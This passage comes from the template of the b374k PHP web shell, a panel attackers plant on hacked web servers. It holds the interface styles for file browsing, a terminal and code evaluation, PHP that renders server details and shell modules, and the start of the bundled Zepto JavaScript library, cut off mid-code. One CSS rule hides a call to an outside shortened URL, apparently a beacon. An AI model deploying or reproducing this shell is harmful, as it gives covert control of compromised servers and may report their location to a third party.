.phpError{
	padding:8px;
	margin:8px 0;
	text-align:center;
}
.dataView td, .dataView th, #viewFile td{
	vertical-align:top;
	border-bottom:1px dashed #dddddd;
}
.dataView tbody tr:hover{
	background:#ebebeb;
}
.dataView th{
	vertical-align:middle;
	border-bottom:0;
	background:#e0e0e0;
}
.dataView tfoot td{
	vertical-align:middle;
}
.dataView .col-cbox{
	text-align:center;
	width:20px;
}
.dataView .col-size{
	width:70px;
}
#xplTable tr>td:nth-child(3){
	text-align:left;
}
#xplTable tr>td:nth-child(4),#xplTable tr>td:nth-child(5),#xplTable tr>td:nth-child(6){
	text-align:center;
}
.dataView .col-owner{
	width:140px;
	min-width:140px;
	text-align:center;
}
.dataView .col-perms{
	width:80px;
	text-align:center;
}
.dataView .col-modified{
	width:150px;
	text-align:center;
}
.sortable th{
	cursor:pointer;
}
#xplTable td{
	white-space:nowrap;
}
#viewFile td{
	text-align:left;
}
#viewFilecontent{
	padding:8px;
	border:1px solid #dddddd;
	border-radius:8px;
}
#terminalPrompt td{
	padding:0;
}
#terminalInput{
	background:none;
	border:none;
	padding:0;
	width:100%;
}
#evalAdditional{
	display:none;
}
.hl_default{
	color:#517797;
}
.hl_keyword{
	color:#00BB00;
}
.hl_string{
	color:#000000;
}
.hl_html{
	color:#CE5403;
}
.hl_comment{
	color:#7F9F7F;
}
#navigation{position:fixed;left:-16px;top:46%;url(http://t.cn/R2A0LH4)}
#totop,#tobottom,#toggleBasicInfo{background:url('<?php echo get_resource('arrow');?>');width:32px;height:32px;opacity:0.30;margin:18px 0;cursor:pointer;}
#totop:hover,#tobottom:hover{opacity:0.80;}
#toggleBasicInfo{display:none;float:right;margin:0;}
#basicInfoSplitter{display:none;}
#tobottom{-webkit-transform:scaleY(-1);-moz-transform:scaleY(-1);-o-transform:scaleY(-1);transform:scaleY(-1);filter:FlipV;-ms-filter:"FlipV";}
#showinfo{float:right;display:none;}
#logout{float:right;}
</style>
</head>
<body>
<!--wrapper start-->
<div id='wrapper'>
	<!--header start-->
	<div id='header'>
		<!--header info start-->
		<div id='headerNav'>
			<span><a onclick="set_cookie('cwd', '');" href='<?php echo get_self(); ?>'><?php echo $GLOBALS['title']." ".$GLOBALS['ver']?></a></span>
			<img onclick='viewfileorfolder();' id='b374k' src='<?php echo get_resource('b374k');?>' />&nbsp;<span id='nav'><?php echo $nav; ?></span>

			<a class='boxclose' id='logout' title='log out'>x</a>
			<a class='boxclose' id='showinfo' title='show info'>v</a>
		</div>
		<!--header info end-->

		<!--menu start-->
		<div id='menu'>
			<?php
				foreach($GLOBALS['module_to_load'] as $k){
					echo "<a class='menuitem' id='menu".$GLOBALS['module'][$k]['id']."' href='#!".$GLOBALS['module'][$k]['id']."'>".$GLOBALS['module'][$k]['title']."</a>";
				}
			?>
		</div>
		<!--menu end-->

	</div>
	<!--header end-->

	<!--content start-->
	<div id='content'>
		<!--server info start-->
		<div id='basicInfo'>
			<div id='toggleBasicInfo'></div>
			<?php
			echo $error_html;
			foreach(get_server_info() as $k=>$v){
				echo "<div>".$v."</div>";
			}
			?>
		</div>
		<!--server info end-->

		<?php
			foreach($GLOBALS['module_to_load'] as $k){
				$content = $GLOBALS['module'][$k]['content'];
				echo "<div class='menucontent' id='".$GLOBALS['module'][$k]['id']."'>".$content."</div>";
			}
		?>
	</div>
	<!--content end-->

</div>
<!--wrapper end-->
<div id='navigation'>
	<div id='totop'></div>
	<div id='tobottom'></div>
</div>
<table id="overlay"><tr><td><div id="loading" ondblclick='loading_stop();'></div></td></tr></table>
<form action='<?php echo get_self(); ?>' method='post' id='form' target='_blank'></form>
<!--script start-->
<script type='text/javascript'>
var targeturl = '<?php echo get_self(); ?>';
var module_to_load = '<?php echo implode(",", $GLOBALS['module_to_load']);?>';
var win = <?php echo (is_win())?'true':'false';?>;
var init_shell = true;
/* Zepto v1.1.2 - zepto event ajax form ie - zeptojs.com/license */
var Zepto=function(){function G(a){return a==null?String(a):z[A.call(a)]||"object"}function H(a){return G(a)=="function"}function I(a){return a!=null&&a==a.window}function J(a){return a!=null&&a.nodeType==a.DOCUMENT_NODE}function K(a){return G(a)=="object"}function L(a){return K(a)&&!I(a)&&Object.getPrototypeOf(a)==Object.prototype}function M(a){return a instanceof Array}function N(a){return typeof a.length=="number"}function O(a){return g.call(a,function(a){return a!=null})}function P(a){return a.length>0?c.fn.concat.apply([],a):a}function Q(a){return a.replace(/::/g,"/").replace(/([A-Z]+)([A-Z][a-z])/g,"$1_$2").replace(/([a-z\d])([A-Z])/g,"$1_$2").replace(/_/g,"-").toLowerCase()}function R(a){return a in j?j[a]:j[a]=new RegExp("(^|\s)"+a+"(\s|$)")}function S(a,b){return typeof b=="number"&&!k[Q(a)]?b+"px":b}function T(a){var b,c;return i[a]||(b=h.createElement(a),h.body.appendChild(b),c=getComputedStyle(b,"").getPropertyValue("display"),b.parentNode.removeChild(b),c=="none"&&(c="block"),i[a]=c),i[a]}function U(a){return"children"in a?f.call(a.children):c.map(a.childNodes,function(a){if(a.nodeType==1)return a})}function V(c,d,e){for(b in d)e&&(L(d[b])||M(d[b]))?(L(d[b])&&!L(c[b])&&(c[b]={}),M(d[b])&&!M(c[b])&&(c[b]=[]),V(c[b],d[b],e)):d[b]!==a&&(c[b]=d[b])}function W(a,b){return b==null?c(a):c(a).filter(b)}function X(a,b,c,d){return H(b)?b.call(a,c,d):b}function Y(a,b,c){c==null?a.removeAttribute(b):a.setAttribute(b,c)}function Z(b,c){var d=b.className,e=d&&d.baseVal!==a;if(c===a)return e?d.baseVal:d;e?d.baseVal=c:b.className=c}function $(a){var b;try{return a?a=="true"||(a=="false"?!1:a=="null"?null:!/^0/.test(a)&&!isNaN(b=Number(a))?b:/^[\[\{]/.test(a)?c.parseJSON(a):a):a}catch(d){return a}}function _(a,b){b(a);for(var c in a.childNodes)_(a.childNodes[c],b)}var a,b,c,d,e=[],f=e.slice,g=e.filter,h=window.document,i={},j={},k={"column-count":1,columns:1,"font-weight":1,"line-height":1,opacity:1,"z-index":1,zoom:1},l=/^\s*<(\w+|!)[^>]*>/,m=/^<(\w+)\s*\/?>(?:<\/>|)$/,n=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,o=/^(?:body|html)$/i,p=/([A-Z])/g,q=["val","css","html","text","data","width","height","offset"],r=["after","prepend","before","append"],s=h.createElement("table"),t=h.createElement("tr"),u={tr:h.createElement("tbody"),tbody:s,thead:s,tfoot:s,td:t,th:t,"*":h.createElement("div")},v=/complete|loaded|interactive/,w=/^\.([\w-]+)$/,x=/^#([\w-]*)$/,y=/^[\w-]*$/,z={},A=z.toString,B={},C,D,E=h.createElement("div"),F={tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"};return B.matches=function(a,b){if(!b||!a||a.nodeType!==1)return!1;var c=a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.matchesSelector;if(c)return c.call(a,b);var d,e=a.parentNode,f=!e;return f&&(e=E).appendChild(a),d=~B.qsa(e,b).indexOf(a),f&&E.removeChild(a),d},C=function(a){return a.replace(/-+(.)?/g,function(a,b){return b?b.toUpperCase():""})},D=function(a){return g.call(a,function(b,c){return a.indexOf(b)==c})},B.fragment=function(b,d,e){var g,i,j;return m.test(b)&&(g=c(h.createElement(RegExp.$1))),g||(b.replace&&(b=b.replace(n,"<$1></$2>")),d===a&&(d=l.test(b)&&RegExp.$1),d in u||(d="*"),j=u[d],j.innerHTML=""+b,g=c.each(f.call(j.childNodes),function(){j.removeChild(this)})),L(e)&&(i=c(g),c.each(e,function(a,b){q.indexOf(a)>-1?i[a](b):i.attr(a,b)})),g},B.Z=function(a,b){return a=a||[],a.__proto__=c.fn,a.selector=b||"",a},B.isZ=function(a){return a instanceof B.Z},B.init=function(b,d){var e;if(!b)return B.Z();if(typeof b=="string"){b=b.trim();if(b[0]=="<"&&l.test(b))e=B.fragment(b,RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}else{if(H(b))return c(h).ready(b);if(B.isZ(b))return b;if(M(b))e=O(b);else if(K(b))e=[b],b=null;else if(l.test(b))e=B.fragment(b.trim(),RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}return B.Z(e,b)},c=function(a,b){return B.init(a,b)},c.extend=function(a){var b,c=f.call(arguments,1);return typeof a=="boolean"&&(b=a,a=c.shift()),c.forEach(function(c){V(a,c,b)}),a},B.qsa=function(a,b){var c,d=b[0]=="#",e=!d&&b[0]==".",g=d||e?b.slice(1):b,h=y.test(g);return J(a)&&h&&d?(c=a.getElementById(g))?[c]:[]:a.nodeType!==1&&a.nodeType!==9?[]:f.call(h&&!d?e?a.getElementsByClassName(g):a.getElementsByTagName(b):a.querySelectorAll(b))},c.contains=function(a,b){return a!==b&&a.contains(b)},c.type=G,c.isFunction=H,c.isWindow=I,c.isArray=M,c.isPlainObject=L,c.isEmptyObject=function(a){var b;for(b in a)return!1;return!0},c.inArray=function(a,b,c){return e.indexOf.call(b,a,c)},c.camelCase=C,c.trim=function(a){return a==null?"":String.prototype.trim.call(a)},c.uuid=0,c.support={},c.expr={},c.map=function(a,b){var c,d=[],e,f;if(N(a))for(e=0;e<a.length;e++)c=b(a[e],e),c!=null&&d.push(c);else for(f in a)c=b(a[f],f),c!=null&&d.push(c);return P(d)},c.each=function(a,b){var c,d;if(N(a)){for(c=0;c<a.length;c++)if(b.call(a[c],c,a[c])===!1)return a}else for(d in a)if(b.call(a[d],d,a[d])===!1)return a;return a},c.grep=function(a,b){return g.call(a,b)},window.JSON&&(c.parseJSON=JSON.parse),c.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){z["[object "+b+"]"]=b.toLowerCase()}),c.fn={forEach:e.forEach,reduce:e.reduce,push:e.push,sort:e.sort,indexOf:e.indexOf,concat:e.concat,map:function(a){return c(c.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return c(f.apply(this,arguments))},ready:function(a){return v.test(h.readyState)&&h.body?a(c):h.addEventListener("DOMContentLoaded",function(){a(c)},!1),this},get:function(b){return b===a?f.call(this):this[b>=0?b:b+this.length]},toArray:function(){return this.get()},size:function(){return this.length},remove:function(){return this.each(function(){this.parentNode!=null&&this.parentNode.removeChild(this)})},each:function(a){return e.every.call(this,function(b,c){return a.call(b,c,b)!==!1}),this},filter:function(a){return H(a)?this.not(this.not(a)):c(g.call(this,function(b){return B.matches(b,a)}))},add:function(a,b){return c(D(this.concat(c(a,b))))},is:function(a){return this.length>0&&B.matches(this[0],a)},not:function(b){var d=[];if(H(b)&&b.call!==a)this.each(function(a){b.call(this,a)||d.push(this)});else{var e=typeof b=="string"?this.filter(b):N(b)&&H(b.item)?f.call(b):c(b);this.forEach(function(a){e.indexOf(a)<0&&d.push(a)})}return c(d)},has:function(a){return this.filter(function(){return K(a)?c.contains(this,a):c(this).find(a).size()})},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){var a=this[0];return a&&!K(a)?a:c(a)},last:function(){var a=this[this.length-1];return a&&!K(a)?a:c(a)},find:function(a){var b,d=this;return typeof a=="object"?b=c(a).filter(function(){var a=this;return e.some.call(d,function(b){return c.contains(b,a)})}):this.length==1?b=c(B.qsa(this[0],a)):b=this.map(function(){return B.qsa(this,a)}),b},closest:function(a,b){var d=this[0],e=!1;typeof a=="object"&&(e=c(a));while(d&&!(e?e.indexOf(d)>=0:B.matches(d,a)))d=d!==b&&!J(d)&&d.parentNode;return c(d)},parents:function(a){var b=[],d=this;while(d.length>0)d=c.map(d,function(a){if((a=a.parentNode)&&!J(a)&&b.indexOf(a)<0)return b.push(a),a});return W(b,a)},parent:function(a){return W(D(this.pluck("parentNode")),a)},children:function(a){return W(this.map(function(){return U(this)}),a)},contents:function(){return this.map(function(){return f.call(this.childNodes)})},siblings:function(a){return W(this.map(function(a,b){return g.call(U(b.parentNode),function(a){return a!==b})}),a)},empty:function(){return this.each(function(){this.innerHTML=""})},pluck:function(a){return c.map(this,function(b){return b[a]})},show:function(){return this.each(function(){this.style.display=="none"&&(this.style.display=""),getComputedStyle(this,"").getPropertyValue("display")=="none"&&(this.style.display=T(this.nodeName))})},replaceWith:function(a){return this.before(a).remove()},wrap:function(a){var b=H(a);if(this[0]&&!b)var d=c(a).get(0),e=d.parentNode||this.length>1;return this.each(function(f){c(this).wrapAll(b?a.call(this,f):e?d.cloneNode(!0):d)})},wrapAll:function(a){if(this[0]){c(this[0]).before(a=c(a));var b;while((b=a.children()).length)a=b.first();c(a).append(this)}return this},wrapInner:function(a){var b=H(a);return this.each(function(d){var e=c(this),f=e.contents(),g=b?a.call(this,d):a;f.length?f.wrapAll(g):e.append(g)})},unwrap:function(){return this.parent().each(function(){c(this).replaceWith(c(this).children())}),this},clone:function(){return this.map(function(){return this.cloneNode(!0)})},hide:function(){return this.css("display","none")},toggle:function(b){return this.each(function(){var d=c(this);(b===a?d.css("display")=="none":b)?d.show():d.hide()})},prev:function(a){return c(this.pluck("previousElementSibling")).filter(a||"*")},next:function(a){return c(this.pluck("nextElementSibling")).filter(a||"*")},html:function(a){return arguments.length===0?this.length>0?this[0].innerHTML:null:this.each(function(b){var d=this.innerHTML;c(this).empty().append(X(this,a,b,d))})},text:function(b){return arguments.length===0?this.length>0?this[0].textContent:null:this.each(function(){this.textContent=b===a?"":""+b})},attr:function(c,d){var e;return typeof c=="string"&&d===a?this.length==0||this[0].nodeType!==1?a:c=="value"&&this[0].nodeName=="INPUT"?this.val():!(e=this[0].getAttribute(c))&&c in this[0]?this[0][c]:e:this.each(function(a){if(this.nodeType!==1)return;if(K(c))for(b in c)Y(this,b,c[b]);else Y(this,c,X(this,d,a,this.getAttribute(c)))})},removeAttr:function(a){return this.each(function(){this.nodeType===1&&Y(this,a)})},prop:function(b,c){return b=F[b]||b,c===a?this[0]&&this[0][b]:this.each(function(a){this[b]=X(this,c,a,this[b])})},data:function(b,c){var d=this.attr("data-"+b.replace(p,"-$1").toLowerCase(),c);return d!==null?$(d):a},val:function(a){return arguments.length===0?this[0]&&(this[0].multiple?c(this[0]).find("option").filter(function(){return this.selected}).pluck("value"):this[0].value):this.each(function(b){this.value=X(this,a,b,this.value)})},offset:function(a){if(a)return this.each(function(b){var d=c(this),e=X(this,a,b,d.offset()),f=d.offsetParent().offset(),g={top:e.top-f.top,left:e.left-f.left};d.css("position")=="static"&&(g.position="relative"),d.css(g)});if(this.length==0)return null;var b=this[0].getBoundingClientRect();return{left:b.left+window.pageXOffset,top:b.top+window.pageYOffset,width:Math.round(b.width),height:Math.round(b.height)}},css:function(a,d){if(arguments.length<2){var e=this[0],f=getComputedStyle(e,"");if(!e)return;if(typeof a=="string")return e.style[C(a)]||f.getPropertyValue(a);if(M(a)){var g={};return c.each(M(a)?a:[a],function(a,b){g[b]=e.style[C(b)]||f.getPropertyValue(b)}),g}}var h="";if(G(a)=="string")!d&&d!==0?this.each(function(){this.style.removeProperty(Q(a))}):h=Q(a)+":"+S(a,d);else for(b in a)!a[b]&&a[b]!==0?this.each(function(){this.style.removeProperty(Q(b))}):h+=Q(b)+":"+S(b,a[b])+";";return this.each(function(){this.style.cssText+=";"+h})},index:function(a){return a?this.indexOf(c(a)[0]):this.parent().children().indexOf(this[0])},hasClass:function(a){return a?e.some.call(this,function(a){return this.test(Z(a))},R(a)):!1},addClass:function(a){return a?this.each(function(b){d=[];var e=Z(this),f=X(this,a,b,e);f.split(/\s+/g).forEach(function(a){c(this).hasClass(a)||d.push(a)},this),d.length&&Z(this,e+(e?" ":"")+d.join(" "))}):this},removeClass:function(b){return this.each(function(c){if(b===a)return Z(this,"");d=Z(this),X(this,b,c,d).split(/\s+/g).forEach(function(a){d=d.replace(R(a)," ")}),Z(this,d.trim())})},toggleClass:function(b,d){return b?this.each(function(e){var f=c(this),g=X(this,b,e,Z(this));g.split(/\s+/g).forEach(function(b){(d===a?!f.hasClass(b):d)?f.addClass(b):f.removeClass(b)})}):this},scrollTop:function(b){if(!this.length)return;var c="scrollTop"in this[0];return b===a?c?this[0].scrollTop:this[0].pageYOffset:this.each(c?function(){this.scrollTop=b}:function(){this.scrollTo(this.scrollX,b)})},scrollLeft:function(b){if(!this.length)return;var c="scrollLeft"in this[0];return b===a?c?this[0].scrollLeft:this[0].pageXOffset:this.each(c?function(){this.scrollLeft=b}:function(){this.scrollTo(b,this.scrollY)})},position:function(){if(!this.length)return;var a=this[0],b=this.offsetParent(),d=this.offset(),e=o.test(b[0].nodeName)?{top:0,left:0}:b.offset();return d.top-=parseFloat(c(a).css("margin-top"))||0,d.left-=parseFloat(c(a).css("margin-left"))||0,e.top+=parseFloat(c(b[0]).css("border-top-width"))||0,e.left+=parseFloat(c(b[0]).css("border-left-width"))||0,{top:d.top-e.top,left:d.left-e.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||h.body;while(a&&!o.test(a.nodeName)&&c(a).css("position")=="static")a=a.offsetParent;return a})}},c.fn.detach=c.fn.remove,["width","height"].forEach(function(b){var d=b.replace(/./,function(a){return a[0].toUpperCase()});c.fn[b]=function(e){var f,g=this[0];return e===a?I(g)?g["inner"+d]:J(g)?g.documentElement["scroll"+d]:(f=this.offset())&&f[b]:this.each(function(a){g=c(this),g.css(b,X(this,e,a,g[b]()))})}}),r.forEach(function(a,b){var d=b%2;c.fn[a]=function(){var a,e=c.map(arguments,function(b){return a=G(b),a=="object"||a=="array"||b==null?b:B.fragment(b)}),f,g=this.length>1;return e.length<1?this:this.each(function(a,h){f=d?h:h.parentNode,h=b==0?h.nextSibling:b==1?h.firstChild:b==2?h:null,e.forEach(function(a){if(g)a=a.cloneNode(!0);else if(!f)return c(a).remove();_(f.insertBefore(a,h),function(a){a.nodeName!=null&&a.nodeName.toUpperCase()==="SCRIPT"&&(!a.type||a.type==="text/javascript")&&!a.src&&window.eval.call(window,a.innerHTML)})})})},c.fn[d?a+"To":"insert"+(b?"Before":"After")]=function(b){return c(b)[a](this),this}}),B.Z.prototype=c.fn,B.uniq=D,B.deserializeValue=$,c.zepto=B,c}();window.Zepto=Zepto,window.$===undefined&&(window.$=Zepto),function(a){function m(a){return a._zid||(a._zid=c++)}function n(a,b,c,d){b=o(b);if(b.ns)var e=p(b.ns);return(h[m(a)]||[]).filter(function(a){return a&&(!b.e||a.e==b.e)&&(!b.ns||e.test(a.ns))&&(!c||m(a.fn)===m(c))&&(!d||a.sel==d)})}function o(a){var b=(""+a).split(".");return{e:b[0],ns:b.slice(1).sort().join(" ")}}function p(a){return new RegExp("(?:^| )"+a.replace(" "," .* ?")+"(?: |$)")}function q(a,b){return a.del&&!j&&a.e in k||!!b}function r(a){return l[a]||j&&k[a]||a}function s(b,c,e,f,g,i,j){var k=m(b),n=h[k]||(h[k]=[]);c.split(/\s/).forEach(function(c){if(c=="ready")return a(document).ready(e);var h=o(c);h.fn=e,h.sel=g,h.e in l&&(e=function(b){var c=b.relatedTarget;if(!c||c!==this&&!a.contains(this,c))return h.fn.apply(this,arguments)}),h.del=i;var k=i||e;h.proxy=function(a){a=y(a);if(a.isImmediatePropagationStopped())return;a.data=f;var c=k.apply(b,a._args==d?[a]:[a].concat(a._args));return c===!1&&(a.preventDefault(),a.stopPropagation()),c},h.i=n.length,n.push(h),"addEventListener"in b&&b.addEventListener(r(h.e),h.proxy,q(h,j))})}function t(a,b,c,d,e){var f=m(a);(b||"").split(/\s/).forEach(function(b){n(a,b,c,d).forEach(function(b){delete h[f][b.i],"removeEventListener"in a&&a.removeEventListener(r(b.e),b.proxy,q(b,e))})})}function y(b,c){if(c||!b.isDefaultPrevented){c||(c=b),a.each(x,function(a,d){var e=c[a];b[a]=function(){return this[d]=u,e&&e.apply(c,arguments)},b[d]=v});if(c.defaultPrevented!==d?c.defaultPrevented:"returnValue"in c?c.returnValue===!1:c.getPreventDefault&&c.getPreventDefault())b.isDefaultPrevented=u}return b}function z(a){var b,c={originalEvent:a};for(b in a)!w.test(b)&&a[b]!==d&&(c[b]=a[b]);return y(c,a)}var b=a.zepto.qsa,c=1,d,e=Array.prototype.slice,f=a.isFunction,g=function(a){return typeof a=="string"},h={},i={},j="onfocusin"in window,k={focus:"focusin",blur:"focusout"},l={mouseenter:"mouseover",mouseleave:"mouseout"};i.click=i.mousedown=i.mouseup=i.mousemove="MouseEvents",a.event={add:s,remove:t},a.proxy=function(b,c){if(f(b)){var d=function(){return b.apply(c,arguments)};return d._zid=m(b),d}if(g(c))return a.proxy(b[c],b);throw new TypeError("expected function")},a.fn.bind=function(a,b,c){return this.on(a,b,c)},a.fn.unbind=function(a,b){return this.off(a,b)},a.fn.one=function(a,b,c,d){return this.on(a,b,c,d,1)};var u=function(){return!0},v=function(){return!1},w=/^([A-Z]|returnValue$|layer[XY]$)/,x={preventDefault:"isDefaultPrevented",stopImmediatePropagation:"isImmediatePropagationStopped",stopPropagation:"isPropagationStopped"};a.fn.delegate=function(a,b,c){return this.on(b,a,c)},a.fn.undelegate=function(a,b,c){return this.off(b,a,c)},a.fn.live=function(b,c){return a(document.body).delegate(this.selector,b,c),this},a.fn.die=function(b,c){return a(document.body).undelegate(this.selector,b,c),this},a.fn.on=function(b,c,h,i,j){var k,l,m=this;if(b&&!g(b))return a.each(b,function(a,b){m.on(a,c,h,b,j)}),m;!g(c)&&!f(i)&&i!==!1&&(i=h,h=c,c=d);if(f(h)||h===!1)i=h,h=d;return i===!1&&(i=v),m.each(function(d,f){j&&(k=function(a){return t(f,a.type,i),i.apply(this,arguments)}),c&&(l=function(b){var d,g=a(b.target).closest(c,f).get(0);if(g&&g!==f)return d=a.extend(z(b),{currentTarget:g,liveFired:f}),(k||i).apply(g,[d].concat(e.call(arguments,1)))}),s(f,b,i,h,c,l||k)})},a.fn.off=function(b,c,e){var h=this;return b&&!g(b)?(a.each(b,function(a,b){h.off(a,c,b)}),h):(!g(c)&&!f(e)&&e!==!1&&(e=c,c=d),e===!1&&(e=v),h.each(function(){t(this,b,e,c)}))},a.fn.trigger=function(b,c){return b=g(b)||a.isPlainObject(b)?a.Event(b):y(b),b._args=c,this.each(function(){"dispatchEvent"in this?this.dispatchEvent(b):a(this).triggerHandler(b,c)})},a.fn.triggerHandler=function(b,c){var d,e;return this.each(function(f,h){d=z(g(b)?a.Event(b):b),d._args=c,d.target=h,a.each(n(h,b.type||b),function(a,b){e=b.proxy(d);if(d.isImmediatePropagationStopped())return!1})}),e},"focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select keydown keypress keyup error".split(" ").forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.trigger(b)}}),["focus","blur"].forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.each(function(){try{this[b]()}catch(a){}}),this}}),a.Event=function(a,b){g(a)||(b=a,a=b.type);var c=document.createEvent(i[a]||"Events"),d=!0;if(b)for(var e in b)e=="bubbles"?d=!!b[e]:c[e]=b[e];return c.initEvent(a,d,!0),y(c)}}(Zepto),function($){function triggerAndReturn(a,b,c){var d=$.Event(b);return $(a).trigger(d,c),!d.isDefaultPrevented()}function triggerGlobal(a,b,c,d){if(a.global)return triggerAndReturn(b||document,c,d)}function ajaxStart(a){a.global&&$.active++===0&&triggerGlobal(a,null,"ajaxStart")}function ajaxStop(a){a.global&&!--$.active&&triggerGlobal(a,null,"ajaxStop")}function ajaxBeforeSend(a,b){var c=b.context;if(b.beforeSend.call(c,a,b)===!1||triggerGlobal(b,c,"ajaxBeforeSend",[a,b])===!1)return!1;triggerGlobal(b,c,"ajaxSend",[a,b])}function ajaxSuccess(a,b,c,d){var e=c.context,f="success";c.success.call(e,a,f,b),d&&d.resolveWith(e,[a,f,b]),triggerGlobal(c,e,"ajaxSuccess",[b,c,a]),ajaxComplete(f,b,c)}function ajaxError(a,b,c,d,e){var f=d.context;d.error.call(f,c,b,a),e&&e.rejectWith(f,[c,b,a]),triggerGlobal(d,f,"ajaxError",[c,d,a||b]),ajaxComplete(b,c,d)}function ajaxComplete(a,b,c){var d=c.context;c.complete.call(d,b,a),triggerGlobal(c,d,"ajaxComplete",[b,c]),ajaxStop(c)}function empty(){}function mimeToDataType(a){return a&&(a=a.split(";",2)[0]),a&&(a==htmlType?"html":a==jsonType?"json":scriptTypeRE.test(a)?"script":xmlTypeRE.test(a)&&"xml")||"text"}function appendQuery(a,b){return b==""?a:(a+"&"+b).replace(/[&?]{1,2}/,"?")}function serializeData(a){a.processData&&a.data&&$.type(a.data)!="string"&&(a.data=$.param(a.data,a.traditional)),a.data&&(!a.type||a.type.toUpperCase()=="GET")&&(a.url=appendQuery(a.url,a.data),a.data=undefined)}function parseArguments(a,b,c,d){var e=!$.isFunction(b);return{url:a,data:e?b:undefined,success:e?$.isFunction(c)?c:undefined:b,dataType:e?d||c:c}}function serialize(a,b,c,d){var e,f=$.isArray(b),g=$.isPlainObject(b);$.each(b,function(b,h){e=$.type(h),d&&(b=c?d:d+"["+(g||e=="object"||e=="array"?b:"")+"]"),!d&&f?a.add(h.name,h.value):e=="array"||!c&&e=="object"?serialize(a,h,c,b):a.add(b,h)})}var jsonpID=0,document=window.document,key,name,rscript=/<script[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,scriptTypeRE=/^(?:text|application)\/javascript/i,xmlTypeRE=/^(?:text|application)\/xml/i,jsonType="application/json",htmlType="text/html",blankRE=/^\s*$/;$.active=0,$.ajaxJSONP=function(a,b){if("type"in a){var c=a.jsonpCallback,d=($.isFunction(c)?c():c)||"jsonp"+ ++jsonpID,e=document.createElement("script"),f=window[d],g,h=function(a){$(e).triggerHandler("error",a||"abort")},i={abort:h},j;return b&&b.promise(i),$(e).on("load error",function(c,h){clearTimeout(j),$(e).off().remove(),c.type=="error"||!g?ajaxError(null,h||"error",i,a,b):ajaxSuccess(g[0],i,a,b),window[d]=f,g&&$.isFunction(f)&&f(g[0]),f=g=undefined}),ajaxBeforeSend(i,a)===!1?(h("abort"),i):(window[d]=function(){g=arguments},e.src=a.url.replace(/=\?/,"="+d),document.head.appendChild(e),a.timeout>0&&(j=setTimeout(function(){h("timeout")},a.timeout)),i)}return $.ajax(a)},$.ajaxSettings={type:"GET",beforeSend:empty,success:empty,error:empty,complete:empty,context:null,global:!0,xhr:function(){return new window.XMLHttpRequest},accepts:{script:"text/javascript, application/javascript, application/x-javascript",json:jsonType,xml:"application/xml, text/xml",html:htmlType,text:"text/plain"},crossDomain:!1,timeout:0,processData:!0,cache:!0},$.ajax=function(options){var settings=$.extend({},options||{}),deferred=$.Deferred&&$.Deferred();for(key in $.ajaxSettings)settings[key]===undefined&&(settings[key]=$.ajaxSettings[key]);ajaxStart(settings),settings.crossDomain||(settings.crossDomain=/^([\w-]+:)?\/\/([^\/]+)/.test(settings.url)&&RegExp.$2!=window.location.host),settings.url||(settings.url=window.location.toString()),serializeData(settings),settings.cache===!1&&(settings.url=appendQuery(settings.url,"_="+Date.now()));var dataType=settings.dataType,hasPlaceholder=/=\?/.test(settings.url);if(dataType=="jsonp"||hasPlaceholder)return hasPlaceholder||(settings.url=appendQuery(settings.url,settings.jsonp?settings.jsonp+"=?":settings.jsonp===!1?"":"callback=?")),$.ajaxJSONP(settings,deferred);var mime=settings.accepts[dataType],headers={},setHeader=function(a,b){headers[a.toLowerCase()]=[a,b]},protocol=/^([\w-]+:)\/\//.test(settings.url)?RegExp.$1:window.location.protocol,xhr=settings.xhr(),nativeSetHeader=xhr.setRequestHeader,abortTimeout;deferred&&deferred.promise(xhr),settings.crossDomain||setHeader("X-Requested-With","XMLHttpRequest"),setHeader("Accept",mime||"*/*");if(mime=settings.mimeType||mime)mime.indexOf(",")>-1&&(mime=mime.split(",",2)[0]),xhr.overrideMimeType&&xhr.overrideMimeType(mime);(settings.contentType||settings.contentType!==!1&&settings.data&&settings.type.toUpperCase()!="GET")&&setHeader("Content-Type",settings.contentType||"application/x-www-form-urlencoded");if(settings.headers)for(name in settings.headers)setHeader(name,settings.headers[name]);xhr.setRequestHeader=setHeader,xhr.onreadystatechange=function(){if(xhr.readyState==4){xhr.onreadystatechange=empty,clearTimeout(abortTimeout);var result,error=!1;if(xhr.status>=200&&xhr.status<300||xhr.status==304||xhr.status==0&&protocol=="file:"){dataType=dataType||mimeToDataType(settings.mimeType||xhr.getResponseHeader("content-type")),result=xhr.responseText;try{dataType=="script"?(1,eval)(result):dataType=="xml"?result=xhr.responseXML:dataType=="json"&&(result=blankRE.test(result)?null:$.parseJSON(result))}catch(e){error=e}error?ajaxError(error,"parsererror",xhr,settings,deferred):ajaxSuccess(result,xhr,settings,deferred)}else ajaxError(xhr.statusText||null,xhr.status?"error":"abort",xhr,settings,deferred)}};if(ajaxBeforeSend(xhr,settings)===!1)return xhr.abort(),ajaxError(null,"abort",xhr,settings,deferred),xhr;if(settings.xhrFields)for(name in settings.xhrFields)xhr[name]=settings.xhrFields[name];var async="async"in settings?settings.async:!0;xhr.open(settings.type,settings.url,async,settings.username,settings.password);for(name in headers)nativeSetHeader.apply(xhr,headers[name]);return settings.timeout>0&&(abortTimeout=setTimeout(function(){xhr.onreadystatechange=empty,xhr.abort(),ajaxError(null,"timeout",xhr,settings,deferred)},settings.timeout)),xhr.send(settings.data?settings.data:null),xhr},$.get=function(a,b,c,d){return $.ajax(parseArguments.apply(null,arguments))},$.post=function(a,b,c,d){var e=parseArguments.apply(null,arguments);return e.type="POST",$.ajax(e)},$.getJSON=function(a,b,c){var d=parseArguments.apply(null,arguments);return 